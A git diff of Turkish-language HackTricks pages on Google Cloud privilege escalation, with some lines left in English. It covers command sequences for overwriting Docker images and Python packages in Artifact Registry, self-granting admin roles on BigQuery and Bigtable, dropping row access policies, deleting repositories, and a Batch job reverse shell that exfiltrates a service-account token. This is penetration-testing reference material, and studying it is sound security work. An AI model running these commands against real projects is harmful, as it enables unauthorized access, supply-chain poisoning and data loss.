-Bunun sadece arka plan SA'nın uygulamaları kurmak için kullanılacağını düşünüyorum, bu yüzden bunu hizmet hesabını çalmak için kötüye kullanabileceğinizi düşünmüyorum.
+Bence bu sadece google'ın uygulamaları kurmak için kullanacağı arka plan SA'yı değiştirir, bu yüzden bunu service account'u çalmak için istismar edebileceğinizi düşünmüyorum.
+
+
+Uygulama service account'unu güncelle
```bash
gcloud app update --service-account=
```
+
+
### `appengine.versions.getFileContents`, `appengine.versions.update`
-Bu izinleri nasıl kullanacağım veya faydalı olup olmadıklarından emin değilim (kod değiştiğinde yeni bir versiyon oluşturulduğu için, sadece kodu veya birinin IAM rolünü güncelleyip güncelleyemeyeceğinizi bilmiyorum, ama sanırım bunu yapabilmelisiniz, belki de bucket içindeki kodu değiştirerek??).
+Bu izinlerin nasıl kullanılacağını veya işe yarayıp yaramayacağını bilmiyorum (kod değiştirildiğinde yeni bir sürüm oluşturulduğunu unutmayın; bu yüzden sadece kodu veya bir sürümün IAM rolünü güncelleyip güncelleyemeyeceğinizi bilmiyorum, ama muhtemelen yapabilirsiniz — belki bucket içindeki kodu değiştirerek??).
-### Buckets Üzerinde Yazma Erişimi
+### Bucket'lar üzerinde yazma erişimi
-Belirtildiği gibi, appengine versiyonları `staging..appspot.com` formatında bir bucket içinde bazı veriler oluşturur. Bu bucket'ı önceden ele geçirmenin mümkün olmadığını unutmayın çünkü GCP kullanıcıları `appspot.com` alan adını kullanarak bucket oluşturmak için yetkilendirilmemiştir.
+Daha önce bahsedildiği gibi appengine sürümleri `staging..appspot.com` formatında isimlendirilmiş bir bucket içinde bazı veriler oluşturur. Bu bucket'ı önceden ele geçirmek mümkün değildir çünkü GCP kullanıcılarının `appspot.com` alan adını kullanarak bucket oluşturma yetkisi yoktur.
-Ancak, bu bucket üzerinde okuma ve yazma erişimi ile, bucket'ı izleyerek ve herhangi bir değişiklik yapıldığında, kodu mümkün olan en hızlı şekilde değiştirerek AppEngine versiyonuna bağlı SA'ya yetki yükseltmek mümkündür. Bu şekilde, bu koddan oluşturulan konteyner **arka kapılı kodu çalıştıracaktır**.
+Ancak bu bucket üzerinde okuma & yazma erişiminiz varsa, bucket'ı izleyerek ve her değişiklik yapıldığında kodu mümkün olduğunca hızlı değiştirmek suretiyle AppEngine sürümüne bağlı SA'ya ayrıcalık yükseltmesi yapmak mümkün olabilir. Bu şekilde, bu koddan oluşturulan konteyner **execute the backdoored code**.
-Daha fazla bilgi ve bir **PoC için bu sayfadaki ilgili bilgileri kontrol edin**:
+For more information and a **PoC check the relevant information from this page**:
{{#ref}}
gcp-storage-privesc.md
{{#endref}}
-### Artifact Registry Üzerinde Yazma Erişimi
+### Artifact Registry üzerinde yazma erişimi
-App Engine'in Artifact Registry içinde docker görüntüleri oluşturmasına rağmen, **bu hizmet içinde görüntüyü değiştirseniz bile** ve App Engine örneğini kaldırıp (yeni bir tane dağıtıldığında) **çalıştırılan kod değişmez**.\
-**Buckets ile olduğu gibi bir Yarış Koşulu saldırısı gerçekleştirerek çalıştırılan kodu üzerine yazmak mümkün olabilir**, ancak bu test edilmedi.
+App Engine, Artifact Registry içinde docker imajları oluşturmasına rağmen, yapılan testlerde **bu servisteki imajı değiştirmiş olsanız bile** ve App Engine instance'ını kaldırıp (yeni bir tane dağıtılsa bile) **çalıştırılan kodun değişmediği** görüldü.
+Buckets ile olduğu gibi bir **Race Condition attack** gerçekleştirerek çalıştırılan kodu üzerine yazmak mümkün olabilir, ancak bu test edilmedi.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md
index f02995717..ba59a817e 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md
@@ -4,7 +4,7 @@
## Artifact Registry
-Artifact Registry hakkında daha fazla bilgi için kontrol edin:
+Artifact Registry hakkında daha fazla bilgi için bakınız:
{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
@@ -12,7 +12,10 @@ Artifact Registry hakkında daha fazla bilgi için kontrol edin:
### artifactregistry.repositories.uploadArtifacts
-Bu izinle bir saldırgan, Docker görüntüleri gibi kötü niyetli kod içeren yeni sürümlerini yükleyebilir:
+Bu izinle bir saldırgan, Docker imajları gibi kötü amaçlı kod içeren artifact'ların yeni sürümlerini yükleyebilir:
+
+
+Artifact Registry'ye Docker imajı yükle
```bash
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker -docker.pkg.dev
@@ -23,20 +26,25 @@ docker tag :-docker.pkg.dev//-docker.pkg.dev///:
```
+
+
> [!CAUTION]
-> Yeni bir kötü niyetli docker imajının, zaten mevcut olanla aynı isim ve etikete sahip olarak **yüklenmesinin mümkün olduğu** kontrol edildi, bu nedenle **eski etiketini kaybedecek** ve bir sonraki sefer o etiketle o imaj **indirilirse kötü niyetli olanı** indirilecektir.
+> Aynı isim ve tag'e sahip yeni bir **kötü amaçlı docker yüklemek mümkün** olduğu doğrulandı, bu yüzden **eski olan tag'i kaybedecek** ve bu tag ile bir dahaki indirmede **kötü amaçlı olan** indirilecektir.
-Bir Python kütüphanesi yükleyin
+Bir Python kütüphanesi yükle
-**Yüklemek için kütüphaneyi oluşturarak başlayın** (eğer kayıt defterinden en son sürümü indirebiliyorsanız bu adımı atlayabilirsiniz):
+**Yüklemek için kütüphaneyi oluşturarak başlayın** (registry'den en son sürümü indirebiliyorsanız bu adımı atlayabilirsiniz):
-1. **Proje yapınızı ayarlayın**:
+1. **Proje yapınızı oluşturun**:
-- Kütüphaneniz için yeni bir dizin oluşturun, örneğin `hello_world_library`.
-- Bu dizinin içinde, paket adınızla başka bir dizin oluşturun, örneğin `hello_world`.
-- Paket dizininizin içinde, bir `__init__.py` dosyası oluşturun. Bu dosya boş olabilir veya paketiniz için başlangıç ayarlarını içerebilir.
+- Kütüphaneniz için yeni bir dizin oluşturun, örn., `hello_world_library`.
+- Bu dizinin içinde paket adınızla başka bir dizin oluşturun, örn., `hello_world`.
+- Paket dizininizin içinde bir `__init__.py` dosyası oluşturun. Bu dosya boş olabilir veya paketiniz için başlangıç kodu içerebilir.
+
+
+Create project structure
```bash
mkdir hello_world_library
@@ -45,10 +53,15 @@ mkdir hello_world
touch hello_world/__init__.py
```
+
+
2. **Kütüphane kodunuzu yazın**:
-- `hello_world` dizininin içinde, modülünüz için yeni bir Python dosyası oluşturun, örneğin `greet.py`.
-- "Merhaba, Dünya!" fonksiyonunuzu yazın:
+- `hello_world` dizini içinde modülünüz için yeni bir Python dosyası oluşturun, örn., `greet.py`.
+- "Hello, World!" fonksiyonunuzu yazın:
+
+
+Create library module
```python
# hello_world/greet.py
@@ -56,10 +69,15 @@ def say_hello():
return "Hello, World!"
```
+
+
3. **Bir `setup.py` dosyası oluşturun**:
- `hello_world_library` dizininizin kökünde bir `setup.py` dosyası oluşturun.
-- Bu dosya, kütüphaneniz hakkında meta veriler içerir ve Python'a nasıl yükleneceğini söyler.
+- Bu dosya kütüphaneniz hakkında metadata içerir ve Python'a nasıl kurulacağını söyler.
+
+
+Create setup.py file
```python
# setup.py
@@ -70,47 +88,70 @@ name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
-# Kütüphanenizin ihtiyaç duyduğu bağımlılıklar
+# Any dependencies your library needs
],
)
```
-**Şimdi, kütüphaneyi yükleyelim:**
+
+
+**Şimdi kütüphaneyi yükleyelim:**
1. **Paketinizi oluşturun**:
-- `hello_world_library` dizininizin kökünden, şu komutu çalıştırın:
+- `hello_world_library` dizininin kökünden şu komutu çalıştırın:
+
+
+Build Python package
```sh
python3 setup.py sdist bdist_wheel
```
-2. **Twine için kimlik doğrulamasını yapılandırın** (paketinizi yüklemek için kullanılır):
-- `twine`'ın yüklü olduğundan emin olun (`pip install twine`).
+
+
+2. **twine için doğrulamayı yapılandırın** (paketinizi yüklemek için kullanılır):
+- `twine`'in yüklü olduğundan emin olun (`pip install twine`).
- Kimlik bilgilerini yapılandırmak için `gcloud` kullanın:
-````
+
+
+Upload package with twine
```sh
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://-python.pkg.dev/// dist/*
```
-````
+
+
3. **Derlemeyi temizle**
+
+
+Derleme çıktılarını temizle
```bash
rm -rf dist build hello_world.egg-info
```
+
+
> [!CAUTION]
-> Aynı sürümde bir python kütüphanesi yüklemek mümkün değildir, ancak **daha büyük sürümler** yüklemek mümkündür (veya sürümün sonuna ekstra bir **`.0` eklemek** mümkündür - bu python'da geçerli değildir), ya da **son sürümü silip yeni bir tane yüklemek** mümkündür (gerekli `artifactregistry.versions.delete)`**:**
+> Aynı sürüme sahip bir python kütüphanesini yüklemek mümkün değil, ancak daha yüksek sürümleri yüklemek mümkündür (veya sürümün sonuna işe yarıyorsa ekstra **`.0` eklemek** — python'da işe yaramaz), veya son sürümü silip yeni bir sürüm yüklemek mümkündür (gerekli: `artifactregistry.versions.delete`):
+>
+>
+> Artifact sürümünü sil
>
> ```sh
> gcloud artifacts versions delete --repository= --location= --package=
> ```
+>
+>
### `artifactregistry.repositories.downloadArtifacts`
-Bu izinle **artifacts** indirebilir ve **hassas bilgileri** ve **güvenlik açıklarını** arayabilirsiniz.
+Bu izinle **artifact'leri indirebilir** ve **hassas bilgileri** ve **güvenlik açıklarını** arayabilirsiniz.
-Bir **Docker** imajını indirin:
+Bir **Docker** imajı indir:
+
+
+Artifact Registry'den Docker imajı indir
```sh
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker -docker.pkg.dev
@@ -118,11 +159,18 @@ gcloud auth configure-docker -docker.pkg.dev
# Dowload image
docker pull -docker.pkg.dev///:
```
-Bir **python** kütüphanesi indirin:
+
+
+Download a **python** library:
+
+
+Artifact Registry'den Python kütüphanesini indir
```bash
pip install --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@-python.pkg.dev///simple/" --trusted-host -python.pkg.dev --no-cache-dir
```
-- Sanal bir ortamda uzaktan ve standart kayıtların karıştırılması ve her ikisinde de bir paket bulunması durumunda ne olur? Bu sayfaya bakın:
+
+
+- Uzak (remote) ve standard registry'ler sanal bir registry içinde karıştığında ve bir paket her ikisinde de varsa ne olur? Bu sayfaya bakın:
{{#ref}}
../gcp-persistence/gcp-artifact-registry-persistence.md
@@ -130,30 +178,40 @@ pip install --index-url "https://oauth2accesstoken:$(gcloud auth prin
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
-Docker görüntüleri gibi kayıtlı nesneleri silin:
+Registry'den docker images gibi artefaktları silin:
+
+
+Artifact Registry'den Docker image silme
```bash
# Delete a docker image
gcloud artifacts docker images delete -docker.pkg.dev///:
```
+
+
### `artifactregistry.repositories.delete`
-Tam bir depoyu silin (içeriği olsa bile):
+Tam bir Artifact Registry repository'sini sil (içinde içerik olsa bile):
+
+
+Artifact Registry repository'sini sil
```
gcloud artifacts repositories delete --location=
```
+
+
### `artifactregistry.repositories.setIamPolicy`
-Bu izne sahip bir saldırgan, daha önce bahsedilen bazı depo saldırılarını gerçekleştirmek için kendisine izin verebilir.
+Bu izne sahip bir attacker kendisine daha önce bahsedilen bazı repository saldırılarını gerçekleştirmek için izinler verebilir.
-### Artifact Registry Okuma ve Yazma ile Diğer Servislere Geçiş
+### Artifact Registry Read & Write üzerinden diğer servislere Pivoting
- **Cloud Functions**
-Bir Cloud Function oluşturulduğunda, projenin Artifact Registry'sine yeni bir docker imajı yüklenir. İmajı yeni bir imaj ile değiştirmeyi ve mevcut imajı (ve `cache` imajını) silmeyi denedim ve hiçbir şey değişmedi, cloud function çalışmaya devam etti. Bu nedenle, belki de **docker konteynerini değiştirmek için bir Race Condition saldırısını kötüye kullanmak mümkün olabilir** ama **sadece saklanan imajı değiştirmek Cloud Function'ı tehlikeye atmak için yeterli değildir**.
+Bir Cloud Function oluşturulduğunda proje Artifact Registry'sine yeni bir docker image push edilir. Görüntüyü yeni bir tane ile değiştirmeyi, hatta mevcut image'ı (ve `cache` image'ını) silmeyi denedim fakat hiçbir şey değişmedi; cloud function çalışmaya devam etti. Bu yüzden, tıpkı bucket'larda olduğu gibi çalıştırılacak docker container'ı değiştirmek için bir Race Condition attack'ı suistimal etmek mümkün olabilir, fakat sadece depolanan image'ı değiştirmek Cloud Function'ı ele geçirmek için yeterli değil.
- **App Engine**
-App Engine'in Artifact Registry içinde docker imajları oluşturmasına rağmen, **bu serviste imajı değiştirseniz bile** ve App Engine örneğini kaldırıp (yeni bir tane dağıtıldığında) **çalıştırılan kod değişmez**.\
-**Bucket'lar ile olduğu gibi bir Race Condition saldırısı gerçekleştirmenin, çalıştırılan kodu üzerine yazmak mümkün olabileceği** düşünülebilir, ancak bu test edilmedi.
+App Engine, Artifact Registry içinde docker image'lar oluşturmasına rağmen. Servis içindeki image'ı **değiştirseniz bile** ve App Engine instance'ını kaldırıp (yeni bir tane deploy edildiğinde) **çalıştırılan kod değişmiyor**.\
+Bucket'larda olduğu gibi bir **Race Condition attack** gerçekleştirilerek çalıştırılan kodun overwrite edilmesi mümkün olabilir, ancak bu test edilmedi.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md
index 0b9d78fee..5dd133c74 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md
@@ -12,7 +12,10 @@ Temel bilgiler:
### `batch.jobs.create`, `iam.serviceAccounts.actAs`
-Bir batch işi oluşturmak, ters bir shell almak ve SA'nın (varsayılan olarak compute SA) metadata token'ını dışa aktarmak mümkündür.
+Bir batch job oluşturarak reverse shell elde etmek ve SA'nın (varsayılan olarak compute SA) metadata token'ını exfiltrate etmek mümkündür.
+
+
+Reverse shell ile Batch job oluştur
```bash
gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md
index 3e7ccd9ad..2c623fe15 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md
@@ -4,29 +4,42 @@
## BigQuery
-BigQuery hakkında daha fazla bilgi için kontrol edin:
+BigQuery hakkında daha fazla bilgi için bakınız:
{{#ref}}
../gcp-services/gcp-bigquery-enum.md
{{#endref}}
-### Read Table
+### Tablo Okuma
-BigQuery tablosunda saklanan bilgileri okumak, **duyarlı bilgileri** bulmak mümkün olabilir. Bilgilere erişmek için gereken izinler **`bigquery.tables.get`**, **`bigquery.jobs.create`** ve **`bigquery.tables.getData`**dir:
+Bir BigQuery tablosunda saklanan bilgileri okumak, **hassas bilgi** bulmayı mümkün kılabilir. Bilgilere erişmek için gerekli izinler **`bigquery.tables.get`**, **`bigquery.jobs.create`** ve **`bigquery.tables.getData`**:
+
+
+BigQuery tablo verilerini okuma
```bash
bq head .
bq query --nouse_legacy_sql 'SELECT * FROM `..` LIMIT 1000'
```
-### Veri Dışa Aktarma
+
-Bu, verilere erişmenin başka bir yoludur. **Verileri bir bulut depolama kovasına dışa aktarın** ve **bilgileri içeren dosyaları indirin.**\
-Bu işlemi gerçekleştirmek için aşağıdaki izinler gereklidir: **`bigquery.tables.export`**, **`bigquery.jobs.create`** ve **`storage.objects.create`**.
+### Verileri dışa aktar
+
+Bu, verilere erişmenin başka bir yoludur. **Cloud Storage bucket'ına dışa aktarın** ve bilgileri içeren **dosyaları indirin**.\
+Bu işlemi gerçekleştirmek için aşağıdaki izinler gerekir: **`bigquery.tables.export`**, **`bigquery.jobs.create`** ve **`storage.objects.create`**.
+
+
+BigQuery tablosunu Cloud Storage'a dışa aktar
```bash
bq extract .
"gs:///table*.csv"
```
-### Veri Ekle
+
-Bir Bigquery tablosuna **belirli güvenilir verileri** **başka bir yerdeki bir açığı** istismar etmek için **girmek** mümkün olabilir. Bu, **`bigquery.tables.get`**, **`bigquery.tables.updateData`** ve **`bigquery.jobs.create`** izinleri ile kolayca yapılabilir:
+### Veri ekleme
+
+Bir Bigquery tablosuna **belirli, güvenilir veriler eklemek**, başka bir yerdeki bir **zafiyeti** kötüye kullanmak için mümkün olabilir. Bu, **`bigquery.tables.get`**, **`bigquery.tables.updateData`** ve **`bigquery.jobs.create`** izinleriyle kolayca yapılabilir:
+
+
+BigQuery tablosuna veri ekleme
```bash
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `..` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
@@ -34,9 +47,14 @@ bq query --nouse_legacy_sql 'INSERT INTO `..` (rank,
# Via insert param
bq insert dataset.table /tmp/mydata.json
```
+
+
### `bigquery.datasets.setIamPolicy`
-Bir saldırgan, bu yetkiyi **kendisine daha fazla izin vermek** için kötüye kullanabilir:
+Bir saldırgan bu ayrıcalığı kötüye kullanarak bir BigQuery dataset üzerinde **kendisine daha fazla izin verebilir**:
+
+
+Set IAM policy on BigQuery dataset
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
@@ -46,9 +64,14 @@ bq add-iam-policy-binding \
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
```
+
+
### `bigquery.datasets.update`, (`bigquery.datasets.get`)
-Bu izin, **ACL'leri değiştirerek bir BigQuery veri kümesine erişiminizi güncellemenize** olanak tanır; bu ACL'ler kimin erişebileceğini belirtir:
+Sadece bu izin, kimlerin erişebileceğini belirten ACL'leri değiştirerek BigQuery dataset'i üzerindeki erişiminizi güncellemenize olanak tanır:
+
+
+BigQuery dataset ACL'lerini güncelle
```bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson : > acl.json
@@ -57,9 +80,14 @@ bq update --source acl.json :
## Read it with
bq head $PROJECT_ID:.
```
+
+
### `bigquery.tables.setIamPolicy`
-Bir saldırgan, bu yetkiyi **kendisine daha fazla izin vermek** için kötüye kullanabilir:
+Bir saldırgan bu ayrıcalığı kötüye kullanarak bir BigQuery tablosu üzerinde **kendine ek izinler verebilir**:
+
+
+BigQuery tablosu üzerinde IAM politikasını ayarla
```bash
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
@@ -69,14 +97,24 @@ bq add-iam-policy-binding \
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
```
+
+
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
-Belgelerde belirtildiği gibi, belirtilen izinlerle **bir satır politikasını güncellemek mümkündür.**\
-Ancak, **cli `bq` kullanarak** biraz daha fazlasına ihtiyacınız var: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
+Belgelere göre, bahsedilen izinlerle **bir satır erişim politikasını güncellemek** mümkün.\
+Ancak, **cli `bq`** kullanırken bazı ek izinlere ihtiyacınız var: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
+
+
+Satır erişim politikasını oluştur veya değiştir
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY ON `..` GRANT TO ("") FILTER USING (term = "Cfba");' # A example filter was used
```
-Satır politikaları numaralandırmasının çıktısında filtre kimliğini bulmak mümkündür. Örnek:
+
+
+Filtre ID'si, row policies enumeration çıktısında bulunabilir. Örnek:
+
+
+List row access policies
```bash
bq ls --row_access_policies :.
@@ -84,7 +122,12 @@ Id Filter Predicate Grantees Creation Time Las
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
```
-Eğer **`bigquery.rowAccessPolicies.delete`** yerine `bigquery.rowAccessPolicies.update` varsa, politikayı sadece silebilirsiniz:
+
+
+Eğer **`bigquery.rowAccessPolicies.delete`** iznine sahipseniz, `bigquery.rowAccessPolicies.update` yerine politikayı silebilirsiniz:
+
+
+Satır erişim politikalarını sil
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY ON `..`;'
@@ -92,7 +135,9 @@ bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY ON `.<
# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `..`;'
```
+
+
> [!CAUTION]
-> Satır erişim politikalarını atlatmanın bir diğer potansiyel seçeneği, kısıtlı verinin değerini değiştirmektir. Eğer sadece `term` `Cfba` olduğunda görebiliyorsanız, tablodaki tüm kayıtları `term = "Cfba"` olacak şekilde değiştirin. Ancak bu, bigquery tarafından engellenmektedir.
+> Satır erişim politikalarını atlatmanın bir başka olası yolu, kısıtlı verilerin değerini değiştirmektir. Eğer sadece `term`'in `Cfba` olduğu durumları görebiliyorsanız, tablodaki tüm kayıtları `term = "Cfba"` olacak şekilde değiştirebilirsiniz. Ancak bu, bigquery tarafından engellenir.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md
index 711a88ee1..505c6c19f 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md
@@ -4,7 +4,7 @@
## Bigtable
-Bigtable hakkında daha fazla bilgi için bakınız:
+Bigtable hakkında daha fazla bilgi için bakın:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
@@ -12,39 +12,50 @@ Bigtable hakkında daha fazla bilgi için bakınız:
### `bigtable.instances.setIamPolicy`
-**Permissions:** `bigtable.instances.setIamPolicy` (ve genellikle mevcut binding'leri okumak için `bigtable.instances.getIamPolicy`).
+**İzinler:** `bigtable.instances.setIamPolicy` (ve genellikle mevcut binding'leri okumak için `bigtable.instances.getIamPolicy`).
-Instance IAM politikasına sahip olmak, kendinize **`roles/bigtable.admin`** (veya herhangi bir özel rol) atama imkânı verir; bu atama instance içindeki her bir küme, tablo, yedek ve yetkili görünüm için geçerli olur.
+Örnek IAM politikasına sahip olmak, kendinize **`roles/bigtable.admin`** (veya herhangi bir özel rol) verme imkanı sağlar; bu, örnekteki her küme, tablo, yedekleme ve yetkili görünüme yayılır.
+
+Örnekte kendinize bigtable.admin rolü verin
```bash
gcloud bigtable instances add-iam-policy-binding \
--member='user:' \
--role='roles/bigtable.admin'
```
-> [!TIP]
-> Mevcut binding'leri listeleyemiyorsanız, yeni bir policy belgesi hazırlayıp kendinizi belgede tuttuğunuz sürece `gcloud bigtable instances set-iam-policy` ile gönderin.
+
-After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniques for more ways to abuse Bigtable permissions.
+> [!TIP]
+> Mevcut bindings'leri listeleyemiyorsanız, kendinizi dahil ettiğiniz sürece yeni bir policy belgesi hazırlayıp `gcloud bigtable instances set-iam-policy` ile gönderebilirsiniz.
+
+Bu izne sahip olduktan sonra, Bigtable izinlerini kötüye kullanmanın daha fazla yolu için [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) tekniklerine bakın.
### `bigtable.tables.setIamPolicy`
-**Permissions:** `bigtable.tables.setIamPolicy` (optionally `bigtable.tables.getIamPolicy`).
+**İzinler:** `bigtable.tables.setIamPolicy` (isteğe bağlı olarak `bigtable.tables.getIamPolicy`).
-Instance politikaları kilitlenmiş olabilirken bireysel tablolar yetkilendirilmiş olabilir. Eğer tablo IAM'ını düzenleyebiliyorsanız, diğer iş yüklerine dokunmadan hedef veri setinin **sahibi olarak kendinizi atayabilirsiniz**.
+Instance politikaları kilitlenmiş olabilirken, bireysel tablolar devredilmiş olabilir. Tablo IAM'ını düzenleyebiliyorsanız, diğer iş yüklerine dokunmadan **kendinizi hedef veri kümesinin sahibi olarak yükseltebilirsiniz**.
+
+Tablo üzerinde kendinize bigtable.admin rolü verin
```bash
gcloud bigtable tables add-iam-policy-binding \
--instance= \
--member='user:' \
--role='roles/bigtable.admin'
```
-Bu izne sahip olduktan sonra, Bigtable izinlerini kötüye kullanmanın diğer yolları için [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) tekniklerine bakın.
+
+
+Bu izne sahip olduktan sonra, Bigtable izinlerini kötüye kullanmanın diğer yolları için [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) bölümündeki teknikleri kontrol edin.
+
### `bigtable.backups.setIamPolicy`
**İzinler:** `bigtable.backups.setIamPolicy`
-Yedekler, kontrol ettiğiniz **any instance in any project** içine geri yüklenebilir. Önce kimliğinize yedeğe erişim verin, sonra Admin/Owner rollerine sahip olduğunuz bir sandbox'a geri yükleyin.
+Yedekler, kontrol ettiğiniz **herhangi bir projedeki herhangi bir instance'a** geri yüklenebilir. Önce kimliğinize yedek için erişim verin, sonra bunu Admin/Owner rollerine sahip olduğunuz bir sandbox içine geri yükleyin.
-Eğer `bigtable.backups.setIamPolicy` iznine sahipseniz, kendinize `bigtable.backups.restore` iznini vererek eski yedekleri geri yükleyebilir ve hassas bilgilere erişmeye çalışabilirsiniz.
+Eğer `bigtable.backups.setIamPolicy` iznine sahipseniz, kendinize `bigtable.backups.restore` iznini vererek eski yedekleri geri yükleyebilir ve hassas bilgilere erişmeyi deneyebilirsiniz.
+
+Take ownership of backup snapshot
```bash
# Take ownership of the snapshot
gcloud bigtable backups add-iam-policy-binding \
@@ -52,13 +63,18 @@ gcloud bigtable backups add-iam-policy-binding \
--member='user:' \
--role='roles/bigtable.admin'
```
-Bu izne sahip olduktan sonra yedeğin nasıl geri yükleneceğini kontrol etmek için [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) bölümüne bakın.
+
-### Update authorized view
+Yedeği nasıl geri yükleyeceğinizi görmek için [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) içindeki bu izin kontrolünü yapın.
+
+
+### Authorized view'i güncelle
**İzinler:** `bigtable.authorizedViews.update`
-Authorized Views satırları/sütunları redakte etmek (gizlemek) için tasarlanmıştır. Bunları değiştirmek veya silmek, savunma ekiplerinin güvendiği ince taneli koruyucu mekanizmaları ortadan kaldırır.
+Authorized Views satırları/sütunları gizleyecek şekilde tasarlanmıştır. Bunları değiştirmek veya silmek, savunucuların güvendiği **ince taneli koruyucu önlemleri** ortadan kaldırır.
+
+Erişimi genişletmek için authorized view'ü güncelle
```bash
# Broaden the subset by uploading a permissive definition
gcloud bigtable authorized-views update \
@@ -83,13 +99,17 @@ EOF
gcloud bigtable authorized-views describe \
--instance= --table=
```
+
+
Bu izne sahip olduktan sonra, Authorized View'den nasıl okunacağını görmek için [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) bölümünü kontrol edin.
### `bigtable.authorizedViews.setIamPolicy`
**İzinler:** `bigtable.authorizedViews.setIamPolicy`.
-Bu izne sahip bir saldırgan kendisine Authorized View erişimi verebilir; bu görünüm, aksi takdirde erişemeyecekleri hassas veriler içerebilir.
+Bu izne sahip bir saldırgan kendisine Authorized View erişimi verebilir; bu görünüm, aksi takdirde erişimi olmayan hassas veriler içerebilir.
+
+Kendinize Authorized View erişimi verin
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding \
@@ -97,7 +117,9 @@ gcloud bigtable authorized-views add-iam-policy-binding \
--member='user:' \
--role='roles/bigtable.viewer'
```
-Bu izin kontrolüne sahip olduktan sonra, yetkili bir görünümden nasıl okunacağını görmek için [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) bölümüne bakın.
+
+
+Bu izin kontrolünü [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) bölümünde yaptıktan sonra, yetkilendirilmiş bir görünümden nasıl okunacağını görmek için bakın.
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
index c1882cb33..e5d5e2d10 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
@@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
-### OAuth Markası ve İstemcisi Oluşturma
+### OAuth Marka ve İstemci Oluşturma
-[**Belgelerdeki bilgilere göre**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), gerekli izinler şunlardır:
+[**Belgelere göre**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), bunlar gerekli izinlerdir:
- `clientauthconfig.brands.list`
